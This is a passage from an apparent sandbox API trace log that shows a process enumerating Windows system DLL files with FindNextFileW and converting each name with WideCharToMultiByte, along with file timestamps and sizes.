lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCLI.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTCLI.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.341] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b996d79, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3b996d79, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82dbd4f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="certCredProvider.dll", cAlternateFileName="")) returned 1 [0031.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCREDPROVIDER.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0031.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCREDPROVIDER.DLL", cchWideChar=20, lpMultiByteStr=0x1d7c288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTCREDPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 20 [0031.341] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1331d6, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x4e1331d6, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="certenc.dll", cAlternateFileName="")) returned 1 [0031.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENC.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENC.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.341] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b374845, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b374845, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b39a9a5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x145c00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="CertEnroll.dll", cAlternateFileName="")) returned 1 [0031.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLL.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0031.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLL.DLL", cchWideChar=14, lpMultiByteStr=0x1d7c288, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENROLL.DLL", lpUsedDefaultChar=0x0) returned 14 [0031.341] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x587d3176, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x587d3176, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x42600, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="CertEnrollUI.dll", cAlternateFileName="")) returned 1 [0031.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLLUI.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0031.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLLUI.DLL", cchWideChar=16, lpMultiByteStr=0x1d7c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENROLLUI.DLL", lpUsedDefaultChar=0x0) returned 16 [0031.341] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x834a93a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17bc00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="certmgr.dll", cAlternateFileName="")) returned 1 [0031.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTMGR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTMGR.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTMGR.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.342] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92abb7a9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92abb7a9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92abb7a9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="CertPolEng.dll", cAlternateFileName="")) returned 1 [0031.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTPOLENG.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0031.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTPOLENG.DLL", cchWideChar=14, lpMultiByteStr=0x1d7c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTPOLENG.DLL", lpUsedDefaultChar=0x0) returned 14 [0031.342] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf69d5a18, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xf69d5a18, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x33600, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="cewmdm.dll", cAlternateFileName="")) returned 1 [0031.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CEWMDM.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CEWMDM.DLL", cchWideChar=10, lpMultiByteStr=0x1d7c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CEWMDM.DLL", lpUsedDefaultChar=0x0) returned 10 [0031.342] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x582c16a8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x582c16a8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbe00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="cfgbkend.dll", cAlternateFileName="")) returned 1 [0031.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGBKEND.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGBKEND.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CFGBKEND.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.342] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f01d97d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f01d97d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f01d97d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23a00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="cfgmgr32.dll", cAlternateFileName="")) returned 1 [0031.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGMGR32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGMGR32.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CFGMGR32.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.342] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa78861e5, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa78861e5, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x198400, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="chsbrkr.dll", cAlternateFileName="")) returned 1 [0031.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHSBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHSBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHSBRKR.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.342] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa83625fc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa83625fc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5d2000, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="chtbrkr.dll", cAlternateFileName="")) returned 1 [0031.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHTBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHTBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHTBRKR.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.342] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf222e7, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x4bf222e7, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83f24e00, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="CHxReadingStringIME.dll", cAlternateFileName="")) returned 1 [0031.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHXREADINGSTRINGIME.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0031.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHXREADINGSTRINGIME.DLL", cchWideChar=23, lpMultiByteStr=0x1d7c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHXREADINGSTRINGIME.DLL", lpUsedDefaultChar=0x0) returned 23 [0031.342] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc23aa496, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc23aa496, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83fbc3e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a200, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="cic.dll", cAlternateFileName="")) returned 1 [0031.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CIC.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0031.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CIC.DLL", cchWideChar=7, lpMultiByteStr=0x1d7c288, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CIC.DLL", lpUsedDefaultChar=0x0) returned 7 [0031.343] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a9ef7a, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xc8a9ef7a, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="clb.dll", cAlternateFileName="")) returned 1 [0031.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLB.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0031.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLB.DLL", cchWideChar=7, lpMultiByteStr=0x1d7c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLB.DLL", lpUsedDefaultChar=0x0) returned 7 [0031.343] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe661614e, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe661614e, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7f800, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="clbcatq.dll", cAlternateFileName="")) returned 1 [0031.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLBCATQ.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLBCATQ.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLBCATQ.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.343] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35259713, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x35259713, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="clfsw32.dll", cAlternateFileName="")) returned 1 [0031.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLFSW32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLFSW32.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLFSW32.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.343] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbee174b6, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbee174b6, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x842b5f60, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="cliconfg.dll", cAlternateFileName="")) returned 1 [0031.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLICONFG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLICONFG.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLICONFG.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.343] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92bec2ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92bec2ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c1240c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38600, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="clusapi.dll", cAlternateFileName="")) returned 1 [0031.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLUSAPI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLUSAPI.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLUSAPI.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.343] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38fecc6d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38fecc6d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x845fdce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="cmcfg32.dll", cAlternateFileName="")) returned 1 [0031.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMCFG32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMCFG32.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMCFG32.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.343] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9a99a0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3a9a99a0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x76400, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="cmdial32.dll", cAlternateFileName="")) returned 1 [0031.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMDIAL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMDIAL32.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMDIAL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.343] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe6d2724, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xfe6d2724, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfc00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="cmicryptinstall.dll", cAlternateFileName="")) returned 1 [0031.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMICRYPTINSTALL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0031.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMICRYPTINSTALL.DLL", cchWideChar=19, lpMultiByteStr=0x1d7c288, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMICRYPTINSTALL.DLL", lpUsedDefaultChar=0x0) returned 19 [0031.344] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bcbee, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x74bcbee, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10c00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="cmifw.dll", cAlternateFileName="")) returned 1 [0031.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIFW.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0031.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIFW.DLL", cchWideChar=9, lpMultiByteStr=0x1d7c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMIFW.DLL", lpUsedDefaultChar=0x0) returned 9 [0031.344] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f457, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x8f457, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4a600, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="cmipnpinstall.dll", cAlternateFileName="")) returned 1 [0031.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIPNPINSTALL.DLL", cchWideChar=17, 